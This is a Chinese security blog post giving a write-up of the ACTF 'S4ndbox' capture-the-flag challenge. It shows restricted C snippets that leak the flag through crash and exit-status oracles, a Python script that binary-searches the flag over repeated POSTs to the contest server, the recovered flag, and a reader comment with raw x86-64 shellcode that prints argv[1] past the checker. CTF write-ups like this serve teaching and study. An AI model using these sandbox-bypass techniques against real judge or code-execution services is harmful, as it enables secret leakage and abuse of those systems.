分享ACTF中题目S4ndbox的解法

2014-04-11 +13 126675人围观 ,发现 12 个不明物体 WEB安全

0. *NULL->|*|

清明放假,这几天闲着没事,知道有ACTF举办,因此凑热闹来做做题。sandbox的这个题目挺有意思的,因此想把自己的解法、思路跟大家分享一下 : ) 。

题目网址:http://218.2.197.236:2015  (比赛结束了,不知道什么时候下线~~)

网页截图:

题目大意是类似模拟OJ的样子,你可以写一段C代码,提交,服务器负责编译、执行,

同时会把flag作为参数传给你的程序!就如图中的命令所示: gcc –ansi yourCode.c && ./a.out  “ACTF{…}”

a.out整个执行过程中的输出会被返回给用户。什么?flag直接传给我们的程序啦!那么我们只要把参数argv[1]的字符串打印出来就好啦!这就是flag嘛!!!

但是本题目对提交的源代码有限制,会利用一个checker.py对输入的代码进行校验。不符合校验的不能被编译、执行!不幸的是,校验脚本把能输出的函数都禁掉了!!!

Checker.py扫描源码主要做以下3个限制:

1)几乎不允许任何系统函数、C库函数函数名的出现(=_=),它采用的黑名单方式,具体可以看checker.py。

2)对于以下几种符号的总使用次数不得超过5。

‘#’ ‘;’ ‘<’ ‘>’ ‘[‘ ‘]’ ‘{‘ ‘}’ ‘(‘ ‘)’

3)源码总长度小于512字节。

Wait ! 你想到怎么解了么?

1. *first idea -> |ideal|

从黑名单中可以看出printf、puts、system之类的函数肯定都被禁止了。那么有没有被漏掉的函数呢?我决定尝试可以找一个checker漏掉的函数,然后利用把参数1传给它,利用它出错、或者正确执行什么的,打印出flag。

void main(int argc ,char **argv)
{
  func(*++argv,…);
}

但是这个想法随后被否定了。因为checker的第二条限制决定了这个函数调用法行不通。想要调用函数那么至少要有一对圆括号,而main函数本身必须有一对圆括号加上一对大括号,这总共就6个啦!分号都还没算,想要写一个语句必须要有一个分号!就是说函数调用法至少要有7个黑名单符号的出现,这样是过不了checker的….( ˇˍˇ )。后面又想可不可以用宏替换掉某个黑名单字符,但是#define要求原始符号至少也要出现一次,再加上#,总之符号的限制大大加大了本体的难度,当然本题的乐趣也就在于此了~~(O(∩_∩)O哈哈~)

2. *great idea -> |impossible|

细想想,不能明目张胆的调用函数因为源代码要有一对圆括号,那我可不可以把函数调用放在shellcode里面呢?在自己代码中虽然不能用asm(被checker禁止了),但是想要跳到shellcode并不难。自己定义一个数组,把shellcode放在里面,然后跳到自己的数组即shellcode中执行,shellcode调用puts/printf/system之类的打印出我们的字符串!

void main(intargc, char **argv)
{
 int *a="\xe9\x08\x00\xef……", *b =&argc-1, *c = 1?*b=a:0;
}

Look like great,that the fking big work we h4ckers should do !  BUT ,

it’s sooooo difficult。对于exploit来讲,没有实验环境,那么成功的概率太低了。Shellcode里面要怎么知道函数的地址?动态获取?硬编码?还有DEP和64位系统等等EggPain(不是EggHunt)的问题太难搞定。

3. *simple idea -> |slow|fast|faster|

想来想去我觉得自己在转圈圈,还搞什么shellcode啊,既然flag已经存到栈里面了,那我不就是可以访问到吗!比如flag串的某一个字符我不知道它是什么,但是我可以读取出来挨个试啊!从A->Z,从a-z,从0-9还有下划线,我给它试个遍,总会得出结果的。关键是这个结果怎么返回,也就是怎么表示我匹配的对不对呢?话说经过几次测试发现程序空指针异常访问后会返回以下状态,“Caught fatal signal 11”。但是其余情况下就是返回“Exited with error status # ”。(⊙﹏⊙b汗,其实还有一个“OK”状态,只是lz想到这里的时候还没发现,因为一直用void main,其实int main返回整形0就是“OK”状态)

返回状态截图展示:

(1) Slow,but we go

想到这里其实就像一个黑盒子一样,每次我们发一遍源码测一下这个字符是不是预设的字母,是的话让它空指针访问异常,不是的话就不管了。就这样,显然这是要一个脚本来循环post请求的。被post的代码一个示例是这样的,这是测试第二个字母是不是’C’:

void main(int *argc, char **argv, char *str)
{
  argc = 0, argv = argv+1, str = *argv, 
  str  +=1,
  *str=='C’ ? *argc=0:0 ;
}

整个Python脚本框架大概是这样:

guess = { ‘A’-‘Z’,‘a’-‘z’, ‘0’-‘9’,’_’}
for offset in range(0,70):
  for c in guess:
     code = genCode(offset, c)
     r = postVerify(code)
     if(r.find(‘Caught fatal signa’) != -1):
        # we got character in offset
        break

好吧,最初的脚本就是这个样子的,guess数据集中有26+26+10+1=63个字符,也就是说最多要试验63次才可以找出一个字母,假设长度是70的flag(未知部分长度约60),发送一次请求要40秒,那么总时间至多就是(63*40*60)/3600 = 42小时!,oh,时间太长了。Lz跑起脚本平均要20几次post才可以试出一个字符,好慢,但是,有没有更好的办法呢?

(2)Binary Search , let's fly

好吧,最后lz灵光一现,为什么我要比较这个字符等不等于我指定的字符呢?为什么不比较大于小于呢?于是二分查找灵光闪现。字符集是我们自己构造的,当然可以按照有序构造,在有序表中查找某个值,god,二分查找log(n),地球人都知道。但是呢,二分查找要求返回的状态两个就不够了,因为我想知道我预设的字符是大于?小于?还是等于被猜测字符,这需要有能力根据3个不同条件返回3种不同状态。这就要说到“OK”的返回状态了,利用它正好三种返回状态够了。但是呢,代码中不能用”<”或者”>”,因为这是黑名单字符,不过这是可以解决的。下面是一个示例,测试第六个字母是比’b’小还是比’b’大,还是等于’b’。(C语言条件运算符真给力~)

int main(int* argc, char **argv, char *str, char x)
{
   return argc = 0,argv = argv+1, str = *argv, str += 5,x = *str-'b',
          x? x&0x80?*argc=0:1:0 ;
}

以下就是Python脚本,用这个脚本跑起基本6-7次post此就可以确定一个字母了。

####################################################################
import httplib
import time
import os

def postVerify(code):
        conn = httplib.HTTPConnection('218.2.197.236', 2015 )
        conn.request('POST', '/', code,
                     {'Host':'218.2.197.236:2015',
                      'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0',
                      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                      'Accept-Language':'zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3',
                      'Accept-Encoding':'gzip, deflate',
                      'Referer':'http://218.2.197.236:2015/',
                      'Connection':'keep-alive',
                      'Content-Type':'application/text; charset=UTF-8'
                      } )
        try:
            page=conn.getresponse( )
        except Exception , e:
            print 'Get response error !!!!!!!!!!!!!!!!!!!!'
        return page.read()
 
#---------------- Main -----------------
resultFile = time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime(time.time()))+ '.txt' ;
print 'ResultFile: '+resultFile
fResult = open(resultFile, 'w')
c = 'A'
left = 0
right = 0
for offset in xrange(5, 70):
    if(c == '}'):
        #we have finished 
        break ;
    if(left > right):
        print 'Unusual condition...'
    #ascii range
    left  = 32
    right = 126
           
    while (left <= right):
        c = chr((left+right)/2)
        
        print '[+] guessing offset: '+str(offset)+' with \'' + c + '\''
    
        code = 'int main(int *argc, char **argv, char *str, char x)\n{' + \
                    'return argc = 0, argv = argv+1, str = *argv, str +='
        code += str(offset) + ','
        code += "x=*str-" + str(ord(c)) + ', x? x&0x80? *argc=0:1:0 ;}'
        #print code
        html = postVerify(code)
        if(html.find('Please wait') != -1):
            time.sleep(8)
        elif(html.find('Exited with error status') != -1):
            #x bigger than mid
            left = ord(c) + 1
        elif(html.find('Caught fatal signal') != -1):
            #x smaller than mid
            right = ord(c) - 1
        elif(html.find('OK') != -1):
            # we got x
            fResult.write(str(offset) + '    ' + c + '\n')
            fResult.flush()
            print '************************************************'
            print 'Shot one ! offset:'+str(offset)+'  '+ c+ '\n'
            print '************************************************'
            break ;
        else:
            print html
fResult.close()
####################################################################

(3) Reduce input set, let's go faster

当lz利用上述脚本安心的跑出30几个字母之后,发现变态作者 :( 使用的都是数字加小写字母!没有大写字母也没有特殊符号,于是速速改掉输入集只包含数字和小写字母a-f和’}’。平均3-4次post就可以跑出一个字母了。

终于,最后跑出来了,但是有点长啊,一共71个字符,唉,为嘛整这么长啊,好像什么哈希的样子….=_=不知道其他组怎么解决掉的~~期待其他大侠分享思路~  :)

ACTF{c6e49c9b897cc4dba15b39ec53bd8fd681937b8ae16833a24090f27d71d3f8c5}

 4. Summary

C语言真棒~

这些评论亮了

  •   (1级) 回复
    const char main[] = "\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\x83\xC6\x08\x48\x8B\x36\x48\xC7\xC2\x60\x00\x00\x00\x0F\x05\x48\xC7\xC0\x3C\x00\x00\x00\x48\xC7\xC7\x00\x00\x00\x00\x0F\x05"; 秒杀
    )13( 亮了
发表评论

已有 12 条评论

取消
Loading...
css.php